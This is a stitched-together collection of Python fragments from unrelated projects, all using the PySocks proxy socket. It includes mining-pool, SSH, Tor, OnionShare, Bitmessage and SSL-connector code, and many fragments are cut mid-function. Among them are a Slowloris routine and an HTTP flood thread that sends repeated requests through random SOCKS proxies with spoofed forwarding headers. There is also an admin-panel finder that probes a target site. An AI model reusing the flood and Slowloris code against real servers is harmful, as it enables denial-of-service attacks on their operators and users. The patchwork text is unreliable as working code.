line = re.sub("[\)\(\:\\n\'\s]", "", line)
peer_dict[line.split(",")[0]] = line.split(",")[1]
for k, v in peer_dict.items():
peer_ip = k
# app_log.info(HOST)
peer_port = int(v)
# app_log.info(PORT)
# connect to all nodes
try:
s = socks.socksocket()
s.settimeout(0.3)
if tor_conf == 1:
s.setproxy(socks.PROXY_TYPE_SOCKS5,
"127.0.0.1", 9050)
s.connect((
peer_ip,
int(peer_port))) # connect to node in peerlist
app_log.warning("Connected")
app_log.warning(
"Pool: Proceeding to submit mined block")
connections.send(s, "block", 10)
connections.send(s, block_send, 10)
app_log.warning(
"Pool: Block submitted to {}".format(peer_ip))
except Exception as e:
app_log.warning(
"Pool: Could not submit block to {} because {}"
.format(peer_ip, e))
pass
app_log.warning(
"Pool: Current difficulty: Pool: {} Real: {}".format(
diff_percent_number, diff))
diff_percentage = percentage(diff_percent_number, diff)
if diff < diff_percentage:
diff_shares = diff
else:
diff_shares = diff_percentage
shares = sqlite3.connect('shares.db')
shares.text_factory = str
s = shares.cursor()
# protect against used share resubmission
execute_param(s, ("SELECT nonce FROM nonces WHERE nonce = ?"),
(nonce, ))
try:
result = s.fetchone()[0]
app_log.warning("Miner trying to reuse a share, ignored")
except:
# protect against used share resubmission
mining_condition = bin_convert(db_block_hash)[
0:diff_shares] #floor set by pool
if mining_condition in mining_hash:
app_log.warning(
"Difficulty requirement satisfied for saving shares")
execute_param(s, ("INSERT INTO nonces VALUES (?)"),
(nonce, ))
commit(shares)
timestamp = '%.2f' % time.time()
s.execute("INSERT INTO shares VALUES (?,?,?,?)",
(str(miner_address), str(1), timestamp, "0"))
shares.commit()
else:
app_log.warning(
"Difficulty requirement not satisfied for anything")
s.close()
s1.close()
class Connection(abc.ABC):
"""
The `Connection` class is a wrapper around ``asyncio.open_connection``.
Subclasses will implement different transport modes as atomic operations,
which this class eases doing since the exposed interface simply puts and
gets complete data payloads to and from queues.
The only error that will raise from send and receive methods is
``ConnectionError``, which will raise when attempting to send if
the client is disconnected (includes remote disconnections).
"""
# this static attribute should be redefined by `Connection` subclasses and
# should be one of `PacketCodec` implementations
packet_codec = None
def __init__(self, ip, port, dc_id, *, loggers, proxy=None, local_addr=None):
"""
Initialize a connection to the proxy.
Args:
self: (todo): write your description
ip: (str): write your description
port: (int): write your description
dc_id: (str): write your description
loggers: (todo): write your description
proxy: (str): write your description
local_addr: (str): write your description
"""
self._ip = ip
self._port = port
self._dc_id = dc_id # only for MTProxy, it's an abstraction leak
self._log = loggers[__name__]
self._proxy = proxy
self._local_addr = local_addr
self._reader = None
self._writer = None
self._connected = False
self._send_task = None
self._recv_task = None
self._codec = None
self._obfuscation = None # TcpObfuscated and MTProxy
self._send_queue = asyncio.Queue(1)
self._recv_queue = asyncio.Queue(1)
async def _connect(self, timeout=None, ssl=None):
"""
Connect to a connection.
Args:
self: (todo): write your description
timeout: (int): write your description
ssl: (todo): write your description
"""
if not self._proxy:
if self._local_addr is not None:
local_addr = (self._local_addr, None)
else:
local_addr = None
self._reader, self._writer = await asyncio.wait_for(
asyncio.open_connection(self._ip, self._port, ssl=ssl, local_addr=local_addr),
timeout=timeout
)
else:
import socks
if ':' in self._ip:
mode, address = socket.AF_INET6, (self._ip, self._port, 0, 0)
else:
mode, address = socket.AF_INET, (self._ip, self._port)
s = socks.socksocket(mode, socket.SOCK_STREAM)
if isinstance(self._proxy, dict):
s.set_proxy(**self._proxy)
else:
s.set_proxy(*self._proxy)
s.settimeout(timeout)
if self._local_addr is not None:
s.bind((self._local_addr, None))
await asyncio.wait_for(
asyncio.get_event_loop().sock_connect(s, address),
timeout=timeout
)
if ssl:
if ssl_mod is None:
raise RuntimeError(
'Cannot use proxy that requires SSL'
'without the SSL module being available'
)
s = ssl_mod.wrap_socket(
s,
do_handshake_on_connect=True,
ssl_version=ssl_mod.PROTOCOL_SSLv23,
ciphers='ADH-AES256-SHA'
)
s.setblocking(False)
self._reader, self._writer = await asyncio.open_connection(sock=s)
self._codec = self.packet_codec(self)
self._init_conn()
await self._writer.drain()
def __init__(self, address, username, password, proxy=True):
self.paramiko = None # Clear any existing paramiko objects from this new object
self.host = address
self.fulloutput = "" # Variable used for full output of all commands combined
self.connected = False # Connection state for the object, default not connected
self.client = paramiko.SSHClient(
) # Define the paramiko ssh connection object
self.client.set_missing_host_key_policy(
paramiko.AutoAddPolicy()) # Auto-accept new SSH keys
self.sockproxy = ""
self.success = False # Only set to true if commands have been sent to device successfully
logging.debug("*** CONNECTING TO HOST %s" % self.host)
if proxy: # If socks proxy option is enabled
for jump in proxies: # For every jump proxy, try to create a socket
try:
logging.info("Connecting to socks proxy %s" % jump)
s = socks.socksocket() # Create a socks-based socket
s.settimeout(2)
s.set_proxy(
socks.SOCKS5,
addr=jump,
port=1080,
username=username,
password=password
) # Proxy connection parameters (assumes common user / pass for everything)
s.connect((self.host, 22))
self.sockproxy = jump
break
except Exception as e:
logging.debug(
"Error - Cannot connect to host via %s proxy" % jump)
logging.debug(e)
s.close()
try: # Now attempt the connection
if proxy:
self.client.connect(hostname=self.host,
username=username,
password=password,
sock=s) # Connect using socket s
logging.info("Connected to host via %s proxy" % self.sockproxy)
else:
self.client.connect(hostname=self.host,
username=username,
password=password)
logging.info("Connected to host %s directly" % self.host)
self.connected = True
self.shell = self.client.invoke_shell(width=150)
except Exception as e:
#print "[ %s ][ %s ] Job failed." % (timeNow(), '{0: <15}'.format(self.host))
logging.debug("Error - Cannot connect to host.")
logging.debug(e)
# OLD SCRIPT
# This is an old script, please use seobot.py instead for better results.
import time
import socks
import os
from stem import Signal
from stem.control import Controller
socks.set_default_proxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9150)
print("Proxy == Local Host at 127.0.0.1 port 9150.")
time.sleep(1)
socks_on = socks.socksocket()
print("Secure Socket Layer initialized with PySocks ...")
time.sleep(1)
def tor_start():
try:
os.system('open /Applications/TorBrowser.app')
except Exception as e:
print(str(e), 'path fail')
def ip_switch():
with Controller.from_port(port=9151) as controller:
controller.authenticate()
controller.signal(Signal.NEWNYM)
tor_start()
def connect_ssl(self, ip_str, sni=None, close_cb=None):
if sni:
host = sni
else:
sni, host = self.host_manager.get_sni_host(ip_str)
host = str(host)
if isinstance(sni, str):
sni = utils.to_bytes(sni)
if self.debug:
self.logger.debug("sni:%s", sni)
ip, port = utils.get_ip_port(ip_str)
if isinstance(ip, str):
ip = utils.to_bytes(ip)
if int(self.config.PROXY_ENABLE):
sock = socks.socksocket(socket.AF_INET if b':' not in
ip else socket.AF_INET6)
else:
sock = socket.socket(socket.AF_INET if b':' not in
ip else socket.AF_INET6)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# set struct linger{l_onoff=1,l_linger=0} to avoid 10048 socket error
# Close the connection with a TCP RST instead of a TCP FIN.
sock.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER,
struct.pack('ii', 1, 0))
# resize socket receive buffer ->64 above to improve browser related application performance
sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF,
self.config.connect_receive_buffer)
sock.setsockopt(socket.SOL_TCP, socket.TCP_NODELAY, True)
sock.settimeout(self.timeout)
time_begin = time.time()
ssl_sock = openssl_wrap.SSLConnection(self.openssl_context.context,
sock,
ip_str=ip_str,
sni=sni,
on_close=close_cb)
ssl_sock.sni = utils.to_str(sni)
time_connected = time.time()
try:
ssl_sock.do_handshake()
except Exception as e:
raise socket.error('tls handshake fail, sni:%s, top:%s e:%r' %
(sni, host, e))
if self.connect_force_http1:
ssl_sock.h2 = False
elif self.connect_force_http2:
ssl_sock.h2 = True
else:
try:
if ssl_sock.is_support_h2():
ssl_sock.h2 = True
else:
ssl_sock.h2 = False
except Exception as e:
self.logger.exception("alpn:%r", e)
ssl_sock.h2 = False
time_handshaked = time.time()
self.check_cert(ssl_sock)
connect_time = int((time_connected - time_begin) * 1000)
handshake_time = int((time_handshaked - time_begin) * 1000)
ssl_sock.fd = sock.fileno()
ssl_sock.create_time = time_begin
ssl_sock.connect_time = connect_time
ssl_sock.handshake_time = handshake_time
ssl_sock.last_use_time = time_handshaked
ssl_sock.host = host
ssl_sock.received_size = 0
return ssl_sock
def connect(self):
self.sock = socks.socksocket()
self.sock.setproxy(*self.proxyargs)
if type(self.timeout) in (int, float):
self.sock.settimeout(self.timeout)
self.sock.connect((self.host, self.port))
def interactive():
try:
# Random UserAgent
# Useragents are from: https://techblog.willshouse.com/2012/01/03/most-common-user-agents/
try:
print(Fore.BLUE + '\tGetting random user-agent...', end="\r")
time.sleep(1)
useragent = "LinkFile/user-agent.txt"
ua = open(useragent, 'r').read().splitlines()
rua = random.choice(ua)
headers = {'user-agent': rua}
print(
Fore.BLUE + '\tGetting random user-agent...', Fore.GREEN +
Style.BRIGHT + 'DONE\n' + Fore.WHITE + Style.NORMAL)
except:
headers = {
'user-agent': 'OKadminFinder/%s' % Credits.getCredits()[1]
}
pass
OKadminFinder.header = headers
# Additional params
# if not messenger.writeInputWithYesNo(Fore.YELLOW + ' Do you want use default params?'):
# timeout = messenger.writeInput(Fore.YELLOW + ' Change timeout. Please write value in seconds: ' + Fore.GREEN)
# OKadminFinder.timeout = timeout
# Updater
# network params
choice = ''
print(Fore.YELLOW + ' тттт[' + Fore.CYAN +
'Network settings:' + Fore.YELLOW + ']')
while (choice not in ['1', '2', '3', 'tor', 'proxy']):
choice = input(Fore.YELLOW + ''' т
ттМ[1] tor
ттМ[2] proxy
ттМ[3] nothing
т
тттттМ''' + Fore.RED + ''' Please choose one option''' +
Fore.YELLOW + ''' ~$ ''')
if choice == '1' or choice == 'tor':
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, 'localhost',
9050)
socket.socket = socks.socksocket
urllib.request.urlopen
proxies = ""
elif choice == '2' or choice == 'proxy':
prox = input(''' т
ттттттК set your HTTP proxy {example:127.0.0.1:80} : ~$ ''')
proxies = {
'http': 'http://' + prox,
'https': 'http://' + prox,
}
try:
ht = prox.split(':')
pr = int(ht[1])
s = socks.socksocket()
s.set_proxy(socks.HTTP, ht[0], pr)
socket.socket = socks.socksocket
urllib.request.urlopen
except IndexError:
messenger.writeMessage(
'\n\tPlease check the format of your proxy | reminder: 127.0.0.1:8080 ',
'red')
quit(0)
else:
proxies = ""
continue
ip = requests.get('http://ifconfig.co/ip',
proxies=proxies,
headers=OKadminFinder.header).text
cc = requests.get('http://ifconfig.co/country',
proxies=proxies,
headers=OKadminFinder.header).text
iso = requests.get('http://ifconfig.co/country-iso',
proxies=proxies,
headers=OKadminFinder.header).text
city = requests.get('http://ifconfig.co/city',
proxies=proxies,
headers=OKadminFinder.header).text
print(''' т
тттт[''' + Fore.CYAN + '''IP address Infos:''' + Fore.YELLOW + ''']
т''')
print(' ттттК ' + Fore.BLUE + 'Country: ' + cc +
Fore.YELLOW + ' тттттК ' + Fore.BLUE + 'IP: ' + ip +
Fore.YELLOW + ' ттттттК ' + Fore.BLUE +
'Country ISO: ' + iso + Fore.YELLOW +
' тттттттК ' + Fore.BLUE + 'City: ' + city)
print('')
# Get site
site = messenger.writeInput(
' Enter Site Name { example : example.com or www.example.com } \n'
+ Fore.BLUE + ' ~$ ', 'white')
print('')
# Checking if the website is online and stable
if OKadminFinder.checkUrl(site, proxies):
messenger.writeMessage('\n Site %s is stable\n' % site, 'green')
else:
messenger.writeMessage(' Something wrong with url', 'red')
exit(SystemExit)
# Some additional info about the website
rh = requests.get('http://' + site,
proxies=proxies,
headers=OKadminFinder.header)
di = socket.gethostbyname(site)
print(Fore.CYAN + Style.BRIGHT + '\tServer: ' + Fore.YELLOW +
rh.headers['Server'] + '\t\t' + Fore.CYAN + Style.BRIGHT +
'Hostname: ' + Fore.YELLOW + di + '\n')
try:
xf = dict(rh.headers).get("x-frame-options")
xf = str(xf)
print(Fore.CYAN + Style.BRIGHT + '\tX-Powered-By: ' + Fore.YELLOW +
rh.headers['X-Powered-By'] + '\t\t' + Fore.CYAN +
Style.BRIGHT + 'X-Frame-Options: ' + Fore.YELLOW + xf +
'\n\n')
except KeyError:
pass
# Get links for checking
urls = OKadminFinder.getUrls('LinkFile/adminpanellinks.txt')
# Counters for total links, and admin panel find
totalCount = len(urls)
adminCount = 0
# Checking all links
for url in urls:
# Create test link with getting params from input and links.txt file
reqLink = OKadminFinder.createReqLink(site, url, proxies)
messenger.writeMessage('\t[#] Checking http://' + reqLink,
'yellow')
# Test created link for HTTPerrors. If not error - potential admin panel
if OKadminFinder.checkUrl(reqLink, proxies):
adminCount += 1
messenger.writeMessage(
' %s %s' %
('\n [т] http://' + reqLink, 'Admin page found!'),
'bright')
# Stopped process? and waiting for input for continue
messenger.writeInput(' Press enter to continue scanning.\n')
# If HTTPerrors continue testing other links
else:
continue
# Write last information about scanning with counters
messenger.writeMessage('\n\n Completed \n', 'green')
messenger.writeMessage(str(adminCount) + ' Admin pages found', 'white')
messenger.writeMessage(
str(totalCount) + ' total pages scanned', 'white')
exit(SystemExit)
messenger.writeMessage('', 'white')
except (KeyboardInterrupt, SystemExit):
messenger.writeMessage('\n\t[x] Session Cancelled', 'red')
messenger.writeMessage('', 'white')
except ():
messenger.writeMessage('\n\t[x] Session Cancelled; Unknown error',
'red')
messenger.writeMessage('', 'white')
import socket
import sys
import whois
import socks
socket.setdefaulttimeout(2)
sockproto = socket.AF_INET6
s = socks.socksocket(sockproto)
s.settimeout(2)
i = 0
en_dictionary = open('words_alpha.txt')
file_output = open('dot_coms.txt', 'a')
for line in en_dictionary:
i += 1
# if i == 100:
# break
word = line.splitlines()
url = word[0] + '.com'
try:
whois.whois(url)
except whois.parser.PywhoisError:
file_output.write(word[0] + '\n')
print(i)
# print(word)
except socket.timeout:
file_output.write(word[0] + ' TIMEOUT' + '\n')
def dns():
if BMConfigParser().get('bitmessagesettings', 'socksproxytype') == 'none':
try:
for item in socket.getaddrinfo('bootstrap8080.bitmessage.org', 80):
logger.info('Adding ' + item[4][0] +
' to knownNodes based on DNS bootstrap method')
knownNodes[1][state.Peer(item[4][0], 8080)] = int(time.time())
except:
logger.error(
'bootstrap8080.bitmessage.org DNS bootstrapping failed.')
try:
for item in socket.getaddrinfo('bootstrap8444.bitmessage.org', 80):
logger.info('Adding ' + item[4][0] +
' to knownNodes based on DNS bootstrap method')
knownNodes[1][state.Peer(item[4][0], 8444)] = int(time.time())
except:
logger.error(
'bootstrap8444.bitmessage.org DNS bootstrapping failed.')
elif BMConfigParser().get('bitmessagesettings',
'socksproxytype') == 'SOCKS5':
knownNodes[1][state.Peer('quzwelsuziwqgpt2.onion',
8444)] = int(time.time())
logger.debug("Adding quzwelsuziwqgpt2.onion:8444 to knownNodes.")
for port in [8080, 8444]:
logger.debug("Resolving %i through SOCKS...", port)
address_family = socket.AF_INET
sock = socks.socksocket(address_family, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.settimeout(20)
proxytype = socks.PROXY_TYPE_SOCKS5
sockshostname = BMConfigParser().get('bitmessagesettings',
'sockshostname')
socksport = BMConfigParser().getint('bitmessagesettings',
'socksport')
rdns = True # Do domain name lookups through the proxy; though this setting doesn't really matter since we won't be doing any domain name lookups anyway.
if BMConfigParser().getboolean('bitmessagesettings',
'socksauthentication'):
socksusername = BMConfigParser().get('bitmessagesettings',
'socksusername')
sockspassword = BMConfigParser().get('bitmessagesettings',
'sockspassword')
sock.setproxy(proxytype, sockshostname, socksport, rdns,
socksusername, sockspassword)
else:
sock.setproxy(proxytype, sockshostname, socksport, rdns)
try:
ip = sock.resolve("bootstrap" + str(port) + ".bitmessage.org")
sock.shutdown(socket.SHUT_RDWR)
sock.close()
except:
logger.error("SOCKS DNS resolving failed", exc_info=True)
else:
if ip is not None:
logger.info(
'Adding ' + ip +
' to knownNodes based on SOCKS DNS bootstrap method')
knownNodes[1][state.Peer(ip, port)] = time.time()
else:
logger.info(
'DNS bootstrap skipped because the proxy type does not support DNS resolution.'
)
def slow(conn, socks_type):
for _ in range(conn):
proxy = random.choice(proxies).strip().split(":")
if socks_type == 4:
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]),
int(proxy[1]), True)
if socks_type == 5:
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]),
int(proxy[1]), True)
try:
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]),
int(proxy[1]), True)
s = socks.socksocket()
s.settimeout(0.6)
s.connect((str(ip), int(port)))
if str(port) == '443':
s = ssl.wrap_socket(s)
s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(
0, 2000)).encode("utf-8")) # Slowloris format header
s.send("User-Agent: {}\r\n".format(
random.choice(useragents)).encode("utf-8"))
s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode(
"utf-8"))
s.send(("Connection:keep-alive").encode("utf-8"))
socket_list.append(s)
sys.stdout.write("[*] Running Slow Attack || Connections: " +
str(len(socket_list)) + "\r")
sys.stdout.flush()
except:
s.close()
sys.stdout.write("[*] Running Slow Attack || Connections: " +
str(len(socket_list)) + "\r")
sys.stdout.flush()
while True:
for s in list(socket_list):
try:
s.send("X-a: {}\r\n".format(random.randint(
1, 5000)).encode("utf-8"))
sys.stdout.write("[*] Running Slow Attack || Connections: " +
str(len(socket_list)) + "\r")
sys.stdout.flush()
except:
s.close()
socket_list.remove(s)
sys.stdout.write("[*] Running Slow Attack || Connections: " +
str(len(socket_list)) + "\r")
sys.stdout.flush()
for _ in range(conn - len(socket_list)):
proxy = random.choice(proxies).strip().split(":")
if socks_type == 4:
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]),
int(proxy[1]), True)
if socks_type == 5:
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]),
int(proxy[1]), True)
try:
s.settimeout(1)
s.connect((str(ip), int(port)))
if str(port) == '443':
s = ssl.wrap_socket(s)
s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(
0, 2000)).encode("utf-8")) # Slowloris format header
s.send("User-Agent: {}\r\n".format(
random.choice(useragents)).encode("utf-8"))
s.send("{}\r\n".format(
"Accept-language: en-US,en,q=0.5").encode("utf-8"))
s.send(("Connection:keep-alive").encode("utf-8"))
socket_list.append(s)
sys.stdout.write("[*] Running Slow Attack || Connections: " +
str(len(socket_list)) + "\r")
sys.stdout.flush()
except:
sys.stdout.write("[*] Running Slow Attack || Connections: " +
str(len(socket_list)) + "\r")
sys.stdout.flush()
pass
def run(self):
global req_code, error
useragent = "User-Agent: " + random.choice(useragents) + "\r\n"
accept = random.choice(acceptall)
randomip = str(random.randint(1, 255)) + "." + str(
random.randint(0, 255)) + "." + str(random.randint(
0, 255)) + "." + str(random.randint(0, 255))
forward = "X-Forwarded-For: " + randomip + "\r\n"
forward += "Client-IP: " + randomip + "\r\n"
referer = "Referer: " + random.choice(ref) + url + "\r\n"
if method_attack == "1":
get_host = "GET / HTTP/1.1\r\nHost: " + host_url + ":" + str(
port) + "\r\n"
request = get_host + useragent + accept + forward + connection + "\r\n"
else:
get_host = random.choice(['GET', 'POST', 'HEAD']) + " /?=" + str(
random.randint(0, 20000)
) + " HTTP/1.1\r\nHost: " + host_url + ":" + str(port) + "\r\n"
request = get_host + useragent + accept + referer + forward + connection + "\r\n"
#request = get_host + useragent + accept + referer + content + length + "\r\n"
current = x
if current < len(proxies):
proxy = proxies[current].strip().split(':')
else:
proxy = random.choice(proxies).strip().split(":")
while True:
try:
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]),
int(proxy[1]), True)
s = socks.socksocket()
s.connect((str(host_url), int(port)))
if str(port) == '443':
s = ssl.wrap_socket(s)
s.send(str.encode(request))
s.send(str.encode(request))
s.send(str.encode(request))
s.send(str.encode(request))
s.send(str.encode(request))
s.send(str.encode(request))
s.send(str.encode(request))
s.send(str.encode(request))
s.send(str.encode(request))
s.send(str.encode(request))
print("[!] bit.ly/AnonyV28 | Socks5 @ " + str(proxy[0]) +
" => [" + host_url + ":" + str(port) + "]")
try:
for y in range(multiple):
s.send(str.encode(request))
s.send(str.encode(request))
s.send(str.encode(request))
s.send(str.encode(request))
s.send(str.encode(request))
s.send(str.encode(request))
s.send(str.encode(request))
s.send(str.encode(request))
s.send(str.encode(request))
s.send(str.encode(request))
except:
try:
s.close()
except:
pass
except:
try:
s.close()
except:
pass
try:
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4,
str(proxy[0]), int(proxy[1]), True)
s = socks.socksocket()
s.connect((str(host_url), int(port)))
if str(port) == '443':
s = ssl.wrap_socket(s)
s.send(str.encode(request))
print("[!] bit.ly/AnonyV28 | Socks4 @ " + str(proxy[0]) +
" => [" + host_url + ":" + str(port) + "]")
try:
for y in range(multiple):
s.send(str.encode(request))
except:
try:
s.close()
except:
pass
except:
try:
s.close()
proxy = random.choice(proxies).strip().split(":")
except:
pass
def check(self, force=False, config=False):
self.common.log('UpdateChecker', 'check', 'force={}'.format(force))
# Load the settings
settings = Settings(self.common, config)
settings.load()
# If force=True, then definitely check
if force:
check_for_updates = True
else:
check_for_updates = False
# See if it's been 1 day since the last check
autoupdate_timestamp = settings.get('autoupdate_timestamp')
if autoupdate_timestamp:
last_checked = datetime.datetime.fromtimestamp(
autoupdate_timestamp)
now = datetime.datetime.now()
one_day = datetime.timedelta(days=1)
if now - last_checked > one_day:
check_for_updates = True
else:
check_for_updates = True
# Check for updates
if check_for_updates:
self.common.log('UpdateChecker', 'check', 'checking for updates')
# Download the latest-version file over Tor
try:
# User agent string includes OnionShare version and platform
user_agent = 'OnionShare {}, {}'.format(
self.common.version, self.common.platform)
# If the update is forced, add '?force=1' to the URL, to more
# accurately measure daily users
path = '/latest-version.txt'
if force:
path += '?force=1'
if Version(self.onion.tor_version) >= Version('0.3.2.9'):
onion_domain = 'lldan5gahapx5k7iafb3s4ikijc4ni7gx5iywdflkba5y2ezyg6sjgyd.onion'
else:
onion_domain = 'elx57ue5uyfplgva.onion'
self.common.log(
'UpdateChecker', 'check',
'loading http://{}{}'.format(onion_domain, path))
(socks_address, socks_port) = self.onion.get_tor_socks_port()
socks.set_default_proxy(socks.SOCKS5, socks_address,
socks_port)
s = socks.socksocket()
s.settimeout(15) # 15 second timeout
s.connect((onion_domain, 80))
http_request = 'GET {} HTTP/1.0\r\n'.format(path)
http_request += 'Host: {}\r\n'.format(onion_domain)
http_request += 'User-Agent: {}\r\n'.format(user_agent)
http_request += '\r\n'
s.sendall(http_request.encode('utf-8'))
http_response = s.recv(1024)
latest_version = http_response[
http_response.find(b'\r\n\r\n'):].strip().decode('utf-8')
self.common.log(
'UpdateChecker', 'check',
'latest OnionShare version: {}'.format(latest_version))
except Exception as e:
self.common.log('UpdateChecker', 'check', '{}'.format(e))
self.update_error.emit()
raise UpdateCheckerCheckError
# Validate that latest_version looks like a version string
# This regex is: 1-3 dot-separated numeric components
version_re = r"^(\d+\.)?(\d+\.)?(\d+)$"
if not re.match(version_re, latest_version):
self.update_invalid_version.emit(latest_version)
raise UpdateCheckerInvalidLatestVersion(latest_version)
# Update the last checked timestamp (dropping the seconds and milliseconds)
timestamp = datetime.datetime.now().replace(microsecond=0).replace(
second=0).timestamp()
# Re-load the settings first before saving, just in case they've changed since we started our thread
settings.load()
settings.set('autoupdate_timestamp', timestamp)
settings.save()
# Do we need to update?
update_url = 'https://github.com/micahflee/onionshare/releases/tag/v{}'.format(
latest_version)
installed_version = self.common.version
if installed_version < latest_version:
self.update_available.emit(update_url, installed_version,
latest_version)
return
# No updates are available
self.update_not_available.emit()
def connect(self):
self.sock = socks.socksocket()
self.sock.setproxy(*self.proxyargs)
if isinstance(self.timeout, float):
self.sock.settimeout(self.timeout)
self.sock.connect((self.host, self.port))
def dns():
"""
DNS bootstrap. This could be programmed to use the SOCKS proxy to do the
DNS lookup some day but for now we will just rely on the entries in
defaultKnownNodes.py. Hopefully either they are up to date or the user
has run Bitmessage recently without SOCKS turned on and received good
bootstrap nodes using that method.
"""
def try_add_known_node(stream, addr, port, method=''):
try:
socket.inet_aton(addr)
except (TypeError, socket.error):
return
logger.info('Adding %s to knownNodes based on %s DNS bootstrap method',
addr, method)
knownnodes.addKnownNode(stream, state.Peer(addr, port))
proxy_type = BMConfigParser().get('bitmessagesettings', 'socksproxytype')
if proxy_type == 'none':
for port in [8080, 8444]:
try:
for item in socket.getaddrinfo(
'bootstrap%s.bitmessage.org' % port, 80):
try_add_known_node(1, item[4][0], port)
except:
logger.error(
'bootstrap%s.bitmessage.org DNS bootstrapping failed.',
port,
exc_info=True)
elif proxy_type == 'SOCKS5':
knownnodes.addKnownNode(1, state.Peer('quzwelsuziwqgpt2.onion', 8444))
logger.debug("Adding quzwelsuziwqgpt2.onion:8444 to knownNodes.")
for port in [8080, 8444]:
logger.debug("Resolving %i through SOCKS...", port)
address_family = socket.AF_INET
sock = socks.socksocket(address_family, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.settimeout(20)
proxytype = socks.PROXY_TYPE_SOCKS5
sockshostname = BMConfigParser().get('bitmessagesettings',
'sockshostname')
socksport = BMConfigParser().getint('bitmessagesettings',
'socksport')
# Do domain name lookups through the proxy;
# though this setting doesn't really matter since we won't
# be doing any domain name lookups anyway.
rdns = True
if BMConfigParser().getboolean('bitmessagesettings',
'socksauthentication'):
socksusername = BMConfigParser().get('bitmessagesettings',
'socksusername')
sockspassword = BMConfigParser().get('bitmessagesettings',
'sockspassword')
sock.setproxy(proxytype, sockshostname, socksport, rdns,
socksusername, sockspassword)
else:
sock.setproxy(proxytype, sockshostname, socksport, rdns)
try:
ip = sock.resolve("bootstrap" + str(port) + ".bitmessage.org")
sock.shutdown(socket.SHUT_RDWR)
sock.close()
except:
logger.error("SOCKS DNS resolving failed", exc_info=True)
else:
try_add_known_node(1, ip, port, 'SOCKS')
else:
logger.info(
'DNS bootstrap skipped because the proxy type does not support'
' DNS resolution.')
def _create_ssl_connection(self, ip_port):
if not connect_control.allow_connect():
time.sleep(1)
return False
sock = None
ssl_sock = None
ip = ip_port[0]
connect_time = 0
handshake_time = 0
time_begin = time.time()
try:
if config.PROXY_ENABLE:
sock = socks.socksocket(socket.AF_INET if ':' not in
ip_port[0] else socket.AF_INET6)
else:
sock = socket.socket(socket.AF_INET if ':' not in
ip_port[0] else socket.AF_INET6)
# set reuseaddr option to avoid 10048 socket error
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# set struct linger{l_onoff=1,l_linger=0} to avoid 10048 socket error
sock.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER,
struct.pack('ii', 1, 0))
# resize socket recv buffer 8K->32K to improve browser releated application performance
sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 32 * 1024)
# disable negal algorithm to send http request quickly.
sock.setsockopt(socket.SOL_TCP, socket.TCP_NODELAY, True)
# set a short timeout to trigger timeout retry more quickly.
sock.settimeout(self.timeout)
ssl_sock = SSLConnection(self.openssl_context, sock)
ssl_sock.set_connect_state()
# pick up the certificate
server_hostname = random_hostname()
if server_hostname and hasattr(ssl_sock, 'set_tlsext_host_name'):
ssl_sock.set_tlsext_host_name(server_hostname)
pass
ssl_sock.connect(ip_port)
time_connected = time.time()
ssl_sock.do_handshake()
time_handshaked = time.time()
connect_time = int((time_connected - time_begin) * 1000)
handshake_time = int((time_handshaked - time_connected) * 1000)
google_ip.update_ip(ip, handshake_time)
xlog.debug("create_ssl update ip:%s time:%d", ip, handshake_time)
# sometimes, we want to use raw tcp socket directly(select/epoll), so setattr it to ssl socket.
ssl_sock.ip = ip
ssl_sock.sock = sock
ssl_sock.create_time = time_begin
ssl_sock.handshake_time = handshake_time
ssl_sock.host = ''
def verify_SSL_certificate_issuer(ssl_sock):
cert = ssl_sock.get_peer_certificate()
if not cert:
#google_ip.report_bad_ip(ssl_sock.ip)
#connect_control.fall_into_honeypot()
raise socket.error(' certificate is none')
issuer_commonname = next(
(v for k, v in cert.get_issuer().get_components()
if k == 'CN'), '')
if not issuer_commonname.startswith('Google'):
google_ip.report_bad_ip(ssl_sock.ip)
#connect_control.fall_into_honeypot()
raise socket.error(
' certificate is issued by %r, not Google' %
(issuer_commonname))
verify_SSL_certificate_issuer(ssl_sock)
connect_control.report_connect_success()
return ssl_sock
except Exception as e:
time_cost = time.time() - time_begin
xlog.debug("create_ssl %s fail:%s cost:%d h:%d", ip, e,
time_cost * 1000, handshake_time)
google_ip.report_connect_fail(ip)
connect_control.report_connect_fail()
if ssl_sock:
ssl_sock.close()
if sock:
sock.close()
return False
def _create_ssl_connection(self, ip_port):
if not connect_control.allow_connect():
time.sleep(10)
return False
sock = None
ssl_sock = None
ip = ip_port[0]
connect_time = 0
handshake_time = 0
time_begin = time.time()
try:
if config.PROXY_ENABLE:
sock = socks.socksocket(socket.AF_INET if ':' not in
ip else socket.AF_INET6)
else:
sock = socket.socket(socket.AF_INET if ':' not in
ip else socket.AF_INET6)
# set reuseaddr option to avoid 10048 socket error
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# set struct linger{l_onoff=1,l_linger=0} to avoid 10048 socket error
sock.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER,
struct.pack('ii', 1, 0))
# resize socket recv buffer 8K->32K to improve browser releated application performance
sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 64 * 1024)
# disable negal algorithm to send http request quickly.
sock.setsockopt(socket.SOL_TCP, socket.TCP_NODELAY, True)
# set a short timeout to trigger timeout retry more quickly.
sock.settimeout(self.timeout)
ssl_sock = SSLConnection(self.openssl_context, sock, ip,
google_ip.ssl_closed)
